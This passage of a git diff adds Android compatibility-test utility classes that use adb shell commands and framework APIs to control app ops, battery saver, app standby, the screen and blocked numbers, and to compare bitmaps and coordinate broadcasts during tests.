+import static android.app.AppOpsManager.MODE_ERRORED;
+import static android.app.AppOpsManager.MODE_IGNORED;
+
+import android.app.AppOpsManager;
+import androidx.test.InstrumentationRegistry;
+
+import java.io.IOException;
+
+/**
+ * Utilities for controlling App Ops settings, and testing whether ops are logged.
+ */
+public class AppOpsUtils {
+
+ /**
+ * Resets a package's app ops configuration to the device default. See AppOpsManager for the
+ * default op settings.
+ *
+ * <p>
+ * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
+ * ends with a reproducible default state, and so doesn't affect other tests.
+ *
+ * <p>
+ * Some app ops are configured to be non-resettable, which means that the state of these will
+ * not be reset even when calling this method.
+ */
+ public static String reset(String packageName) throws IOException {
+ return runCommand("appops reset " + packageName);
+ }
+
+ /**
+ * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
+ */
+ public static String setOpMode(String packageName, String opStr, int mode)
+ throws IOException {
+ String modeStr;
+ switch (mode) {
+ case MODE_ALLOWED:
+ modeStr = "allow";
+ break;
+ case MODE_ERRORED:
+ modeStr = "deny";
+ break;
+ case MODE_IGNORED:
+ modeStr = "ignore";
+ break;
+ case MODE_DEFAULT:
+ modeStr = "default";
+ break;
+ default:
+ throw new IllegalArgumentException("Unexpected app op type");
+ }
+ String command = "appops set " + packageName + " " + opStr + " " + modeStr;
+ return runCommand(command);
+ }
+
+ /**
+ * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
+ */
+ public static int getOpMode(String packageName, String opStr)
+ throws IOException {
+ String opState = getOpState(packageName, opStr);
+ if (opState.contains(" allow")) {
+ return MODE_ALLOWED;
+ } else if (opState.contains(" deny")) {
+ return MODE_ERRORED;
+ } else if (opState.contains(" ignore")) {
+ return MODE_IGNORED;
+ } else if (opState.contains(" default")) {
+ return MODE_DEFAULT;
+ } else {
+ throw new IllegalStateException("Unexpected app op mode returned " + opState);
+ }
+ }
+
+ /**
+ * Returns whether an allowed operation has been logged by the AppOpsManager for a
+ * package. Operations are noted when the app attempts to perform them and calls e.g.
+ * {@link AppOpsManager#noteOperation}.
+ *
+ * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+ */
+ public static boolean allowedOperationLogged(String packageName, String opStr)
+ throws IOException {
+ return getOpState(packageName, opStr).contains(" time=");
+ }
+
+ /**
+ * Returns whether a rejected operation has been logged by the AppOpsManager for a
+ * package. Operations are noted when the app attempts to perform them and calls e.g.
+ * {@link AppOpsManager#noteOperation}.
+ *
+ * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
+ */
+ public static boolean rejectedOperationLogged(String packageName, String opStr)
+ throws IOException {
+ return getOpState(packageName, opStr).contains(" rejectTime=");
+ }
+
+ /**
+ * Returns the app op state for a package. Includes information on when the operation was last
+ * attempted to be performed by the package.
+ *
+ * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
+ */
+ private static String getOpState(String packageName, String opStr) throws IOException {
+ return runCommand("appops get " + packageName + " " + opStr);
+ }
+
+ private static String runCommand(String command) throws IOException {
+ return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
new file mode 100644
index 0000000..eb94b60
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.util.Log;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class AppStandbyUtils {
+ private static final String TAG = "CtsAppStandbyUtils";
+
+ /**
+ * Returns if app standby is enabled.
+ *
+ * @return true if enabled; or false if disabled.
+ */
+ public static boolean isAppStandbyEnabled() {
+ final String result = SystemUtil.runShellCommand(
+ "dumpsys usagestats is-app-standby-enabled").trim();
+ return Boolean.parseBoolean(result);
+ }
+
+ /**
+ * Sets enabled state for app standby feature for runtime switch.
+ *
+ * App standby feature has 2 switches. This one affects the switch at runtime. If the build
+ * switch is off, enabling the runtime switch will not enable App standby.
+ *
+ * @param enabled if App standby is enabled.
+ */
+ public static void setAppStandbyEnabledAtRuntime(boolean enabled) {
+ final String value = enabled ? "1" : "0";
+ Log.d(TAG, "Setting AppStandby " + (enabled ? "enabled" : "disabled") + " at runtime.");
+ SettingsUtils.putGlobalSetting("app_standby_enabled", value);
+ }
+
+ /**
+ * Returns if app standby is enabled at runtime. Note {@link #isAppStandbyEnabled()} may still
+ * return {@code false} if this method returns {@code true}, because app standby can be disabled
+ * at build time as well.
+ *
+ * @return true if enabled at runtime; or false if disabled at runtime.
+ */
+ public static boolean isAppStandbyEnabledAtRuntime() {
+ final String result =
+ SystemUtil.runShellCommand("settings get global app_standby_enabled").trim();
+ // framework considers null value as enabled.
+ final boolean boolResult = result.equals("1") || result.equals("null");
+ Log.d(TAG, "AppStandby is " + (boolResult ? "enabled" : "disabled") + " at runtime.");
+ return boolResult;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
new file mode 100644
index 0000000..2e88e8a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static com.android.compatibility.common.util.SettingsUtils.putGlobalSetting;
+import static com.android.compatibility.common.util.TestUtils.waitUntil;
+
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.BatteryManager;
+import android.os.PowerManager;
+import android.provider.Settings.Global;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import org.junit.Assume;
+
+public class BatteryUtils {
+ private static final String TAG = "CtsBatteryUtils";
+
+ private BatteryUtils() {
+ }
+
+ public static BatteryManager getBatteryManager() {
+ return InstrumentationRegistry.getContext().getSystemService(BatteryManager.class);
+ }
+
+ public static PowerManager getPowerManager() {
+ return InstrumentationRegistry.getContext().getSystemService(PowerManager.class);
+ }
+
+ /** Make the target device think it's off charger. */
+ public static void runDumpsysBatteryUnplug() throws Exception {
+ SystemUtil.runShellCommandForNoOutput("dumpsys battery unplug");
+
+ Log.d(TAG, "Battery UNPLUGGED");
+ }
+
+ /** Reset {@link #runDumpsysBatteryUnplug}. */
+ public static void runDumpsysBatteryReset() throws Exception {
+ SystemUtil.runShellCommandForNoOutput(("dumpsys battery reset"));
+
+ Log.d(TAG, "Battery RESET");
+ }
+
+ /**
+ * Enable / disable battery saver. Note {@link #runDumpsysBatteryUnplug} must have been
+ * executed before enabling BS.
+ */
+ public static void enableBatterySaver(boolean enabled) throws Exception {
+ if (enabled) {
+ SystemUtil.runShellCommandForNoOutput("cmd power set-mode 1");
+ putGlobalSetting(Global.LOW_POWER_MODE, "1");
+ waitUntil("Battery saver still off", () -> getPowerManager().isPowerSaveMode());
+ waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
+ () -> (PowerManager.LOCATION_MODE_NO_CHANGE
+ != getPowerManager().getLocationPowerSaveMode()));
+
+ Thread.sleep(500);
+ waitUntil("Force all apps standby still off",
+ () -> SystemUtil.runShellCommand("dumpsys alarm")
+ .contains(" Force all apps standby: true\n"));
+
+ } else {
+ SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
+ putGlobalSetting(Global.LOW_POWER_MODE_STICKY, "0");
+ waitUntil("Battery saver still on", () -> !getPowerManager().isPowerSaveMode());
+ waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
+ () -> (PowerManager.LOCATION_MODE_NO_CHANGE
+ == getPowerManager().getLocationPowerSaveMode()));
+
+ Thread.sleep(500);
+ waitUntil("Force all apps standby still on",
+ () -> SystemUtil.runShellCommand("dumpsys alarm")
+ .contains(" Force all apps standby: false\n"));
+ }
+
+ AmUtils.waitForBroadcastIdle();
+ Log.d(TAG, "Battery saver turned " + (enabled ? "ON" : "OFF"));
+ }
+
+ /**
+ * Turn on/off screen.
+ */
+ public static void turnOnScreen(boolean on) throws Exception {
+ if (on) {
+ SystemUtil.runShellCommandForNoOutput("input keyevent KEYCODE_WAKEUP");
+ waitUntil("Device still not interactive", () -> getPowerManager().isInteractive());
+
+ } else {
+ SystemUtil.runShellCommandForNoOutput("input keyevent KEYCODE_SLEEP");
+ waitUntil("Device still interactive", () -> !getPowerManager().isInteractive());
+ }
+ AmUtils.waitForBroadcastIdle();
+ Log.d(TAG, "Screen turned " + (on ? "ON" : "OFF"));
+ }
+
+ /** @return true if the device supports battery saver. */
+ public static boolean isBatterySaverSupported() {
+ final Intent batteryInfo = InstrumentationRegistry.getContext().registerReceiver(
+ null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+ if (!batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true)) {
+ // Devices without battery does not support battery saver.
+ return false;
+ }
+
+ final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+ return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
+ /** "Assume" the current device supports battery saver. */
+ public static void assumeBatterySaverFeature() {
+ Assume.assumeTrue("Device doesn't support battery saver", isBatterySaverSupported());
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BeforeAfterRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BeforeAfterRule.java
new file mode 100644
index 0000000..be75671
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BeforeAfterRule.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that provides "before" / "after" callbacks, which is useful to use with
+ * {@link org.junit.rules.RuleChain}.
+ */
+public class BeforeAfterRule implements TestRule {
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ onBefore(base, description);
+ try {
+ base.evaluate();
+ } finally {
+ onAfter(base, description);
+ }
+ }
+ };
+ }
+
+ protected void onBefore(Statement base, Description description) throws Throwable {
+ }
+
+ protected void onAfter(Statement base, Description description) throws Throwable {
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
new file mode 100644
index 0000000..7f94d6f
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.CompressFormat;
+import android.graphics.Color;
+import android.util.Log;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.lang.reflect.Method;
+import java.util.Random;
+
+public class BitmapUtils {
+ private static final String TAG = "BitmapUtils";
+
+ private BitmapUtils() {}
+
+ // Compares two bitmaps by pixels.
+ public static boolean compareBitmaps(Bitmap bmp1, Bitmap bmp2) {
+ if (bmp1 == bmp2) {
+ return true;
+ }
+
+ if (bmp1 == null || bmp2 == null) {
+ return false;
+ }
+
+ if ((bmp1.getWidth() != bmp2.getWidth()) || (bmp1.getHeight() != bmp2.getHeight())) {
+ return false;
+ }
+
+ for (int i = 0; i < bmp1.getWidth(); i++) {
+ for (int j = 0; j < bmp1.getHeight(); j++) {
+ if (bmp1.getPixel(i, j) != bmp2.getPixel(i, j)) {
+ return false;
+ }
+ }
+ }
+ return true;
+ }
+
+ public static Bitmap generateRandomBitmap(int width, int height) {
+ final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+ final Random generator = new Random();
+ for (int x = 0; x < width; x++) {
+ for (int y = 0; y < height; y++) {
+ bmp.setPixel(x, y, generator.nextInt(Integer.MAX_VALUE));
+ }
+ }
+ return bmp;
+ }
+
+ public static Bitmap generateWhiteBitmap(int width, int height) {
+ final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+ bmp.eraseColor(Color.WHITE);
+ return bmp;
+ }
+
+ public static Bitmap getWallpaperBitmap(Context context) throws Exception {
+ WallpaperManager wallpaperManager = WallpaperManager.getInstance(context);
+ Class<?> noparams[] = {};
+ Class<?> wmClass = wallpaperManager.getClass();
+ Method methodGetBitmap = wmClass.getDeclaredMethod("getBitmap", noparams);
+ return (Bitmap) methodGetBitmap.invoke(wallpaperManager, null);
+ }
+
+ public static ByteArrayInputStream bitmapToInputStream(Bitmap bmp) {
+ final ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ bmp.compress(CompressFormat.PNG, 0 /*ignored for PNG*/, bos);
+ byte[] bitmapData = bos.toByteArray();
+ return new ByteArrayInputStream(bitmapData);
+ }
+
+ private static void logIfBitmapSolidColor(String fileName, Bitmap bitmap) {
+ int firstColor = bitmap.getPixel(0, 0);
+ for (int x = 0; x < bitmap.getWidth(); x++) {
+ for (int y = 0; y < bitmap.getHeight(); y++) {
+ if (bitmap.getPixel(x, y) != firstColor) {
+ return;
+ }
+ }
+ }
+
+ Log.w(TAG, String.format("%s entire bitmap color is %x", fileName, firstColor));
+ }
+
+ public static void saveBitmap(Bitmap bitmap, String directoryName, String fileName) {
+ new File(directoryName).mkdirs(); // create dirs if needed
+
+ Log.d(TAG, "Saving file: " + fileName + " in directory: " + directoryName);
+
+ if (bitmap == null) {
+ Log.d(TAG, "File not saved, bitmap was null");
+ return;
+ }
+
+ logIfBitmapSolidColor(fileName, bitmap);
+
+ File file = new File(directoryName, fileName);
+ try (FileOutputStream fileStream = new FileOutputStream(file)) {
+ bitmap.compress(Bitmap.CompressFormat.PNG, 0 /* ignored for PNG */, fileStream);
+ fileStream.flush();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
new file mode 100644
index 0000000..360c078
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.provider.BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER;
+import static android.provider.BlockedNumberContract.BlockedNumbers.CONTENT_URI;
+
+import android.app.IntentService;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ResultReceiver;
+import android.util.Log;
+
+/**
+ * A service to handle interactions with the BlockedNumberProvider. The BlockedNumberProvider
+ * can only be accessed by the primary user. This service can be run as a singleton service
+ * which will then be able to access the BlockedNumberProvider from a test running in a
+ * secondary user.
+ */
+public class BlockedNumberService extends IntentService {
+
+ static final String INSERT_ACTION = "android.telecom.cts.InsertBlockedNumber";
+ static final String DELETE_ACTION = "android.telecom.cts.DeleteBlockedNumber";
+ static final String PHONE_NUMBER_EXTRA = "number";
+ static final String URI_EXTRA = "uri";
+ static final String ROWS_EXTRA = "rows";
+ static final String RESULT_RECEIVER_EXTRA = "resultReceiver";
+
+ private static final String TAG = "CtsBlockNumberSvc";
+
+ private ContentResolver mContentResolver;
+
+ public BlockedNumberService() {
+ super(BlockedNumberService.class.getName());
+ }
+
+ @Override
+ public void onHandleIntent(Intent intent) {
+ Log.i(TAG, "Starting BlockedNumberService service: " + intent);
+ if (intent == null) {
+ return;
+ }
+ Bundle bundle;
+ mContentResolver = getContentResolver();
+ switch (intent.getAction()) {
+ case INSERT_ACTION:
+ bundle = insertBlockedNumber(intent.getStringExtra(PHONE_NUMBER_EXTRA));
+ break;
+ case DELETE_ACTION:
+ bundle = deleteBlockedNumber(Uri.parse(intent.getStringExtra(URI_EXTRA)));
+ break;
+ default:
+ bundle = new Bundle();
+ break;
+ }
+ ResultReceiver receiver = intent.getParcelableExtra(RESULT_RECEIVER_EXTRA);
+ receiver.send(0, bundle);
+ }
+
+ private Bundle insertBlockedNumber(String number) {
+ Log.i(TAG, "insertBlockedNumber: " + number);
+
+ ContentValues cv = new ContentValues();
+ cv.put(COLUMN_ORIGINAL_NUMBER, number);
+ Uri uri = mContentResolver.insert(CONTENT_URI, cv);
+ Bundle bundle = new Bundle();
+ bundle.putString(URI_EXTRA, uri.toString());
+ return bundle;
+ }
+
+ private Bundle deleteBlockedNumber(Uri uri) {
+ Log.i(TAG, "deleteBlockedNumber: " + uri);
+
+ int rows = mContentResolver.delete(uri, null, null);
+ Bundle bundle = new Bundle();
+ bundle.putInt(ROWS_EXTRA, rows);
+ return bundle;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
new file mode 100644
index 0000000..e5a0ce4
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static com.android.compatibility.common.util.BlockedNumberService.DELETE_ACTION;
+import static com.android.compatibility.common.util.BlockedNumberService.INSERT_ACTION;
+import static com.android.compatibility.common.util.BlockedNumberService.PHONE_NUMBER_EXTRA;
+import static com.android.compatibility.common.util.BlockedNumberService.RESULT_RECEIVER_EXTRA;
+import static com.android.compatibility.common.util.BlockedNumberService.ROWS_EXTRA;
+import static com.android.compatibility.common.util.BlockedNumberService.URI_EXTRA;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ResultReceiver;
+
+import junit.framework.TestCase;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Utility for starting the blocked number service.
+ */
+public class BlockedNumberUtil {
+
+ private static final int TIMEOUT = 2;
+
+ private BlockedNumberUtil() {}
+
+ /** Insert a phone number into the blocked number provider and returns the resulting Uri. */
+ public static Uri insertBlockedNumber(Context context, String phoneNumber) {
+ Intent intent = new Intent(INSERT_ACTION);
+ intent.putExtra(PHONE_NUMBER_EXTRA, phoneNumber);
+
+ return Uri.parse(runBlockedNumberService(context, intent).getString(URI_EXTRA));
+ }
+
+ /** Remove a number from the blocked number provider and returns the number of rows deleted. */
+ public static int deleteBlockedNumber(Context context, Uri uri) {
+ Intent intent = new Intent(DELETE_ACTION);
+ intent.putExtra(URI_EXTRA, uri.toString());
+
+ return runBlockedNumberService(context, intent).getInt(ROWS_EXTRA);
+ }
+
+ /** Start the blocked number service. */
+ static Bundle runBlockedNumberService(Context context, Intent intent) {
+ // Temporarily allow background service
+ SystemUtil.runShellCommand("cmd deviceidle tempwhitelist " + context.getPackageName());
+
+ final Semaphore semaphore = new Semaphore(0);
+ final Bundle result = new Bundle();
+
+ ResultReceiver receiver = new ResultReceiver(new Handler(Looper.getMainLooper())) {
+ @Override
+ protected void onReceiveResult(int resultCode, Bundle resultData) {
+ result.putAll(resultData);
+ semaphore.release();
+ }
+ };
+ intent.putExtra(RESULT_RECEIVER_EXTRA, receiver);
+ intent.setComponent(new ComponentName(context, BlockedNumberService.class));
+
+ context.startService(intent);
+
+ try {
+ TestCase.assertTrue(semaphore.tryAcquire(TIMEOUT, TimeUnit.SECONDS));
+ } catch (InterruptedException e) {
+ TestCase.fail("Timed out waiting for result from BlockedNumberService");
+ }
+ return result;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
new file mode 100644
index 0000000..301a626
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A receiver that allows caller to wait for the broadcast synchronously. Notice that you should not
+ * reuse the instance. Usage is typically like this:
+ * <pre>
+ * BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context, "action");
+ * try {
+ * receiver.register();
+ * Intent intent = receiver.awaitForBroadcast();
+ * // assert the intent
+ * } finally {
+ * receiver.unregisterQuietly();
+ * }
+ * </pre>
+ */
+public class BlockingBroadcastReceiver extends BroadcastReceiver {
+ private static final String TAG = "BlockingBroadcast";
+
+ private static final int DEFAULT_TIMEOUT_SECONDS = 10;
+
+ private final BlockingQueue<Intent> mBlockingQueue;
+ private final String mExpectedAction;
+ private final Context mContext;
+
+ public BlockingBroadcastReceiver(Context context, String expectedAction) {
+ mContext = context;
+ mExpectedAction = expectedAction;
+ mBlockingQueue = new ArrayBlockingQueue<>(1);
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (mExpectedAction.equals(intent.getAction())) {
+ mBlockingQueue.add(intent);
+ }
+ }
+
+ public void register() {
+ mContext.registerReceiver(this, new IntentFilter(mExpectedAction));
+ }
+
+ /**
+ * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
+ * if no broadcast with expected action is received within 10 seconds.
+ */
+ public @Nullable Intent awaitForBroadcast() {
+ try {
+ return mBlockingQueue.poll(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ Log.e(TAG, "waitForBroadcast get interrupted: ", e);
+ }
+ return null;
+ }
+
+ /**
+ * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
+ * if no broadcast with expected action is received within the given timeout.
+ */
+ public @Nullable Intent awaitForBroadcast(long timeoutMillis) {
+ try {
+ return mBlockingQueue.poll(timeoutMillis, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ Log.e(TAG, "waitForBroadcast get interrupted: ", e);
+ }
+ return null;
+ }
+
+ public void unregisterQuietly() {
+ try {
+ mContext.unregisterReceiver(this);
+ } catch (Exception ex) {
+ Log.e(TAG, "Failed to unregister BlockingBroadcastReceiver: ", ex);
+ }
+ }
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java
new file mode 100644
index 0000000..e4d9c22
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Base class to help broadcast-based RPC.
+ */
+public abstract class BroadcastRpcBase<TRequest, TResponse> {
+ private static final String TAG = "BroadcastRpc";
+
+ private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+ static final String ACTION_REQUEST = "ACTION_REQUEST";
+ static final String EXTRA_PAYLOAD = "EXTRA_PAYLOAD";
+ static final String EXTRA_EXCEPTION = "EXTRA_EXCEPTION";
+
+ static Handler sMainHandler = new Handler(Looper.getMainLooper());
+
+ /** Implement in a subclass */
+ protected abstract byte[] requestToBytes(TRequest request);
+
+ /** Implement in a subclass */
+ protected abstract TResponse bytesToResponse(byte[] bytes);
+
+ public TResponse invoke(ComponentName targetReceiver, TRequest request) throws Exception {
+ // Create a request intent.
+ Log.i(TAG, "Sending to: " + targetReceiver + (VERBOSE ? "\nRequest: " + request : ""));
+
+ final Intent requestIntent = new Intent(ACTION_REQUEST)
+ .setComponent(targetReceiver)
+ .addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+ .putExtra(EXTRA_PAYLOAD, requestToBytes(request));
+
+ // Send it.
+ final CountDownLatch latch = new CountDownLatch(1);
+ final AtomicReference<Bundle> responseBundle = new AtomicReference<>();
+
+ InstrumentationRegistry.getContext().sendOrderedBroadcast(
+ requestIntent, null, new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ responseBundle.set(getResultExtras(false));
+ latch.countDown();
+ }
+ }, sMainHandler, 0, null, null);
+
+ // Wait for a reply and check it.
+ final boolean responseArrived = latch.await(60, TimeUnit.SECONDS);
+ assertTrue("Didn't receive broadcast result.", responseArrived);
+
+ // TODO If responseArrived is false, print if the package / component is installed?
+
+ assertNotNull("Didn't receive result extras", responseBundle.get());
+
+ final String exception = responseBundle.get().getString(EXTRA_EXCEPTION);
+ if (exception != null) {
+ fail("Target throw exception: receiver=" + targetReceiver
+ + "\nException: " + exception);
+ }
+
+ final byte[] resultPayload = responseBundle.get().getByteArray(EXTRA_PAYLOAD);
+ assertNotNull("Didn't receive result payload", resultPayload);
+
+ Log.i(TAG, "Response received: " + (VERBOSE ? resultPayload.toString() : ""));
+
+ return bytesToResponse(resultPayload);
+ }
+
+ /**
+ * Base class for a receiver for a broadcast-based RPC.
+ */
